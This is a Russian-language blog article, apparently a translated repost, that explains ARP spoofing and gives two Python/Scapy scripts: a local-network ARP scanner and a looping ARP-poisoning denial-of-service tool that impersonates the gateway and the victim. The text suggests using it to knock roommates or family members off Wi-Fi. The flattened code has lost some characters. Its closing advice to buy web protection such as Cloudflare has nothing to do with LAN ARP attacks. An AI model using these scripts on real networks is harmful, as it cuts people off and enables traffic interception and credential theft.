Протокол разрешения адресов (ARP) — это важнейший протокол, используемый в локальных сетях для преобразования IP-адресов в физические адреса (MAC-адреса).
Атака ARP — это эксплуатация уязвимостей протокола ARP. Отправляя поддельные сообщения ARP, злоумышленники могут связать свой MAC-адрес с IP-адресом жертвы, перехватывая, изменяя или нарушая сетевые коммуникации.
ARP-атаки особенно легко реализовать, поскольку в протоколе ARP отсутствуют встроенные функции безопасности, что делает его основной мишенью для сетевых злоумышленников. Таким образом, подмена ARP или отравление ARP стала распространенным и опасным методом сетевых атак.
С помощью Python вы можете написать код менее чем за 100 строк, и эффект весьма значителен — ваш сосед по комнате или члены семьи могут быстро потерять подключение к Wi-Fi. Конечно, вам не следует пытаться случайно нападать на других, за исключением, возможно, хороших друзей.
Атака типа «отказ в обслуживании»: вы можете нарушить соединение Wi-Fi вашего соседа по комнате или членов семьи с помощью ARP-атаки. Заставив целевой компьютер думать, что злоумышленник является шлюзом, злоумышленник может прервать связь между целевым компьютером и шлюзом, предотвращая доступ целевого компьютера к сетевым ресурсам.
Прослушивание сети: злоумышленники могут использовать ARP-атаки для перехвата всех коммуникационных пакетов в сети, что позволяет им анализировать и извлекать конфиденциальную информацию.
Подделка данных: с помощью атаки «человек посередине» злоумышленники могут изменить содержимое пакетов данных, тем самым изменяя передаваемые данные.
Примеры из реальной жизни
Подмена ARP: злоумышленники отправляют поддельные ответные сообщения ARP на другие устройства в локальной сети, привязывая их MAC-адрес к IP-адресу законного устройства. Например, злоумышленники могут привязать свой MAC-адрес к IP-адресу шлюза, обманным путем заставляя все устройства в локальной сети отправлять данные злоумышленнику.
Атака «человек посередине»: как только подмена ARP окажется успешной, злоумышленники могут расположиться между жертвой и шлюзом, перехватывая и пересылая все коммуникационные данные. Это позволяет злоумышленникам украсть конфиденциальную информацию, такую как учетные данные для входа и информацию о банковском счете.
Подделка данных: злоумышленники могут не только перехватывать данные, но и изменять их перед отправкой жертве или шлюзу, что позволяет проводить дальнейшие атаки.
Сначала мы реализуем базовую функцию сканирования ARP. Реализация зондирования ARP проста. Мы можем определить две функции: одну с именемgenerate_ip_range, которая принимает строку IP-адреса и генерирует все адреса хостов в этой подсети; другой, называемый arp_scan, отправляет пакеты ARP. Мы можем использовать функцию ARP Scapy для создания запросов ARP и отправки их с помощью srp, а затем ожидания ответов.
from scapy.all import * import argparse import threading, time import logging # Generate the IP range, e.g., input: 192.168.1.1/20 generates addresses 1-20 def Parse_IP(targets): _split = targets.split('/') first_ip = _split[0] ip_split = first_ip.split('.') ipv4 = range(int(ip_split[3]), int(_split[1]) 1) addr = [ip_split[0] '.' ip_split[1] '.' ip_split[2] '.' str(p) for p in ipv4] return addr # Scan the local network for online devices using the ARP protocol def ARP_Scan(address): try: ret = sr1(ARP(pdst=address), timeout=5, verbose=False) if ret: if ret.haslayer('ARP') and ret.fields['op'] == 2: print('[ ] IP address: %-13s ==> MAC address: %-15s' % (ret.fields['psrc'], ret.fields['hwsrc'])) except Exception: exit(1) if __name__ == "__main__": logging.getLogger("scapy.runtime").setLevel(logging.ERROR) parser = argparse.ArgumentParser() parser.add_argument("-s", "--scan", dest="scan") args = parser.parse_args() # Usage: main.py -s 192.168.1.1/100 if args.scan: addr_list = Parse_IP(args.scan) for item in addr_list: threads = [] t = threading.Thread(target=ARP_Scan, args=(item,)) threads.append(t) t.start() for item in threads: item.join() else: parser.print_help()
Далее мы узнаем, как реализовать атаку типа «отказ в обслуживании» ARP. Ядром атаки ARP DOS является функция send_payload. Каждый вызов этой функции отправляет два пакета: первый пакет выдает себя за шлюз, заставляя целевой компьютер думать, что злоумышленник является шлюзом; второй пакет выдает себя за целевой компьютер, заставляя шлюз думать, что атакующий является целевым компьютером. Отправив эти два пакета в несколько потоков, целевой компьютер не сможет подключиться к сети, что приведет к DOS-атаке.
""" Disclaimer: This code is intended for educational and experimental purposes only, to help users understand the ARP protocol and related network security concepts. Do not run this code on any actual network without explicit permission. Unauthorized ARP attack activities are illegal and may result in network disruptions, data breaches, and other severe consequences. Users of this code must be responsible for their actions and comply with relevant laws and regulations. The developers and publishers are not liable for any direct or indirect damages resulting from the use of this code. Please conduct experiments within the bounds of legal authority and ensure appropriate authorization. Before running this code, please confirm that you have understood and accepted this disclaimer. """ from scapy.all import * import argparse import threading, time import logging # Create and send payloads def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP): print("[ ] Target MAC: {} Target IP: {} Sending: 2 packets".format(tgtMac, tgtIP)) # Generate ARP packet, pretending to be the gateway to deceive the target computer sendp(Ether(src=srcMac, dst=tgtMac) / ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), iface=Interface) # Generate ARP packet, pretending to be the target computer to deceive the gateway sendp(Ether(src=srcMac, dst=gateWayMac) / ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-i", "--interface", dest="interface", help="Enter the interface name") parser.add_argument("-g", "--gateway", dest="gateway", help="Input Gateway Address") parser.add_argument("-t", "--target", dest="target", help="Enter the victim host address") args = parser.parse_args() # Usage: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10 if args.gateway and args.target: srcMac = get_if_hwaddr(args.interface) # Get the local MAC address through the interface name tgtMac = getmacbyip(args.target) # Get the target computer's MAC address through its IP address gatewayMac = getmacbyip(args.gateway) # Specify the gateway MAC address in the local network while True: t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target)) t.start() t.join() time.sleep(1) else: parser.print_help()
Как независимый разработчик, вы часто можете столкнуться с проблемой защиты своего сайта от различных сложных атак, особенно от самых простых.
ARP-атаки, например, очень легко выполнить: код атаки составляет менее 100 строк. Однако причиненный ущерб может быть значительным. Если разработчикам необходимо детально защититься от каждого типа атак, это может оказаться непосильной задачей, потенциально превышающей объем работы по разработке.
Поэтому интеграция сторонних платформ стала очень распространенным решением. Такие платформы, как Edgeone и Cloudflare, могут предоставлять эффективные услуги защиты. Хотя эти услуги могут потребовать нескольких долларов, они значительно снижают психическую нагрузку по сравнению с самообороной.
Это статья, которую я написал о распространенных сетевых атаках и их решениях. Если вам интересно, не стесняйтесь проверить это.
Отказ от ответственности: Все предоставленные ресурсы частично взяты из Интернета. В случае нарушения ваших авторских прав или других прав и интересов, пожалуйста, объясните подробные причины и предоставьте доказательства авторских прав или прав и интересов, а затем отправьте их по электронной почте: [email protected]. Мы сделаем это за вас как можно скорее.
Copyright© 2022 湘ICP备2022001581号-3